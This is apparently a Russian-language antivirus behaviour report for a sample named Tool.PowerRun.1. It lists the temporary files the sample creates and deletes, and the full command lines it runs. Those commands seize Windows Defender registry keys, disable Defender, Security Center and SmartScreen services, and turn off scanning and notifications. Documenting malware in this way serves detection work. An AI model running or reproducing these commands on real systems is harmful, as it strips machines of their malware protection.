Tool.PowerRun.1

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Центр обеспечения безопасности (Security Center)
Системный антивирус (Защитник Windows)

Изменения в файловой системе

Создает следующие файлы

%TEMP%\nsff2c8.tmp\powerrun64.exe
%WINDIR%\temp\aut20c9.tmp
%WINDIR%\temp\shvdpjp
%WINDIR%\temp\aut201d.tmp
%WINDIR%\temp\omclgrq
%WINDIR%\temp\aut1969.tmp
%TEMP%\qzupcfh
%TEMP%\aut18cd.tmp
%WINDIR%\temp\mfpyqsk
%WINDIR%\temp\aut11ea.tmp
%TEMP%\hvlfefm
%WINDIR%\temp\xwhqezc
%TEMP%\autbf1.tmp
%WINDIR%\temp\aut9b0.tmp
%WINDIR%\temp\exytyev
%WINDIR%\temp\aut905.tmp
%TEMP%\cljqkdk
%TEMP%\aut270.tmp
%WINDIR%\temp\pwsjpfs
%WINDIR%\temp\autfe7a.tmp
%WINDIR%\temp\vqzkyqq
%WINDIR%\temp\autf91d.tmp
%TEMP%\hyazdtr
%WINDIR%\temp\yjmmqyz
%TEMP%\autf64f.tmp
%WINDIR%\temp\csdccjr
%TEMP%\aut3f6f.tmp
%WINDIR%\temp\cauhcya
%WINDIR%\temp\aut5253.tmp
%WINDIR%\temp\gbpltto
%WINDIR%\temp\aut4c4b.tmp
%TEMP%\qspgrhy
%TEMP%\aut49cb.tmp
%WINDIR%\temp\cpvblqi
%WINDIR%\temp\aut44dc.tmp
%WINDIR%\temp\kwncudk
%WINDIR%\temp\aut4105.tmp
%TEMP%\ehnoevz
%TEMP%\aut22eb.tmp
%WINDIR%\temp\ydflrdg
%WINDIR%\temp\aut3bd7.tmp
%WINDIR%\temp\itwulby
%WINDIR%\temp\aut3590.tmp
%TEMP%\tsmcuop
%TEMP%\aut34c5.tmp
%WINDIR%\temp\logatco
%WINDIR%\temp\aut2951.tmp
%WINDIR%\temp\btpwydm
%WINDIR%\temp\aut2903.tmp
%TEMP%\aqbfqll
%WINDIR%\temp\autf1ae.tmp
%WINDIR%\temp\kfyfxbi
%WINDIR%\temp\autf16f.tmp
%WINDIR%\temp\mrqwlog
%WINDIR%\temp\autaec5.tmp
%WINDIR%\temp\twydeyi
%WINDIR%\temp\auta8dc.tmp
%TEMP%\vdwtzre
%TEMP%\auta6d9.tmp
%WINDIR%\temp\kyvvwzb
%WINDIR%\temp\auta4d6.tmp
%TEMP%\hcxmjtu
%WINDIR%\temp\qcdsqgf
%TEMP%\aut9f0c.tmp
%WINDIR%\temp\aut9e70.tmp
%TEMP%\zkkzijf
%TEMP%\aut9932.tmp
%TEMP%\nsff2c8.tmp\nsexec.dll
%TEMP%\nsff2c8.tmp\df.bat
%TEMP%\nsff2c8.tmp\do64.bat
%TEMP%\nsff2c8.tmp\do32.bat
%TEMP%\nsff2c8.tmp\setacl32.exe
%TEMP%\nsff2c8.tmp\setacl64.exe
%TEMP%\nsff2c8.tmp\powerrun.exe
%WINDIR%\temp\wjbuvsq
%TEMP%\autb2bb.tmp
%WINDIR%\temp\autb28c.tmp
%TEMP%\pgczgye
%TEMP%\owrgkbv
%WINDIR%\temp\autdb02.tmp
%TEMP%\aute83c.tmp
%WINDIR%\temp\tqzohii
%WINDIR%\temp\aute3aa.tmp
%WINDIR%\temp\bucampf
%WINDIR%\temp\aute291.tmp
%WINDIR%\temp\hnvhhcb
%WINDIR%\temp\autdc98.tmp
%TEMP%\ntejjop
%TEMP%\autdb31.tmp
%WINDIR%\temp\dclmgfg
%TEMP%\logatco
%WINDIR%\temp\autc14b.tmp
%TEMP%\autd0a6.tmp
%WINDIR%\temp\xqubpss
%WINDIR%\temp\autd078.tmp
%WINDIR%\temp\lmmzxws
%WINDIR%\temp\autcf30.tmp
%TEMP%\dempdmn
%TEMP%\autc428.tmp
%WINDIR%\temp\nmjkaep
%WINDIR%\temp\autc1d8.tmp
%WINDIR%\temp\iygaotn
%WINDIR%\temp\aut586c.tmp
%WINDIR%\temp\cpwovhk

Удаляет следующие файлы

%TEMP%\aut9932.tmp
%TEMP%\aut22eb.tmp
%WINDIR%\temp\csdccjr
%WINDIR%\temp\aut20c9.tmp
%WINDIR%\temp\shvdpjp
%WINDIR%\temp\aut201d.tmp
%WINDIR%\temp\omclgrq
%WINDIR%\temp\aut1969.tmp
%TEMP%\qzupcfh
%TEMP%\aut18cd.tmp
%WINDIR%\temp\vqzkyqq
%WINDIR%\temp\mfpyqsk
%TEMP%\hvlfefm
%TEMP%\autbf1.tmp
%WINDIR%\temp\yjmmqyz
%WINDIR%\temp\aut9b0.tmp
%WINDIR%\temp\exytyev
%WINDIR%\temp\aut905.tmp
%TEMP%\cljqkdk
%TEMP%\aut270.tmp
%WINDIR%\temp\pwsjpfs
%WINDIR%\temp\aut11ea.tmp
%WINDIR%\temp\autfe7a.tmp
%TEMP%\ehnoevz
%TEMP%\aqbfqll
%WINDIR%\temp\cauhcya
%WINDIR%\temp\aut5253.tmp
%WINDIR%\temp\gbpltto
%WINDIR%\temp\aut4c4b.tmp
%TEMP%\qspgrhy
%TEMP%\aut49cb.tmp
%WINDIR%\temp\cpvblqi
%WINDIR%\temp\aut44dc.tmp
%WINDIR%\temp\kwncudk
%WINDIR%\temp\btpwydm
%WINDIR%\temp\aut2903.tmp
%TEMP%\aut3f6f.tmp
%WINDIR%\temp\ydflrdg
%WINDIR%\temp\aut3bd7.tmp
%WINDIR%\temp\itwulby
%WINDIR%\temp\aut3590.tmp
%TEMP%\tsmcuop
%TEMP%\aut34c5.tmp
%WINDIR%\temp\logatco
%WINDIR%\temp\aut2951.tmp
%WINDIR%\temp\aut4105.tmp
%WINDIR%\temp\autf91d.tmp
%TEMP%\hyazdtr
%TEMP%\autf64f.tmp
%WINDIR%\temp\iygaotn
%WINDIR%\temp\autc14b.tmp
%TEMP%\pgczgye
%TEMP%\autb2bb.tmp
%WINDIR%\temp\qcdsqgf
%WINDIR%\temp\autb28c.tmp
%WINDIR%\temp\mrqwlog
%WINDIR%\temp\autaec5.tmp
%WINDIR%\temp\nmjkaep
%WINDIR%\temp\twydeyi
%TEMP%\vdwtzre
%TEMP%\auta6d9.tmp
%WINDIR%\temp\kyvvwzb
%WINDIR%\temp\auta4d6.tmp
%TEMP%\hcxmjtu
%TEMP%\aut9f0c.tmp
%WINDIR%\temp\wjbuvsq
%WINDIR%\temp\aut9e70.tmp
%TEMP%\zkkzijf
%WINDIR%\temp\auta8dc.tmp
%TEMP%\autc428.tmp
%WINDIR%\temp\autc1d8.tmp
%TEMP%\dempdmn
%WINDIR%\temp\xwhqezc
%WINDIR%\temp\hnvhhcb
%WINDIR%\temp\autf1ae.tmp
%WINDIR%\temp\kfyfxbi
%WINDIR%\temp\autf16f.tmp
%TEMP%\owrgkbv
%TEMP%\aute83c.tmp
%WINDIR%\temp\tqzohii
%WINDIR%\temp\aute3aa.tmp
%WINDIR%\temp\bucampf
%WINDIR%\temp\aute291.tmp
%WINDIR%\temp\autdc98.tmp
%WINDIR%\temp\autcf30.tmp
%TEMP%\ntejjop
%TEMP%\autdb31.tmp
%WINDIR%\temp\dclmgfg
%WINDIR%\temp\autdb02.tmp
%TEMP%\logatco
%TEMP%\autd0a6.tmp
%WINDIR%\temp\xqubpss
%WINDIR%\temp\autd078.tmp
%WINDIR%\temp\lmmzxws
%WINDIR%\temp\aut586c.tmp
%WINDIR%\temp\cpwovhk

Другое

Создает и запускает на исполнение

'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsff2c8.tmp\setacl32.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsff2c8.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\do32.bat' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\do64.bat' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\df.bat' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsfF2C8.tmp\df.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Get-MpPreference"
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
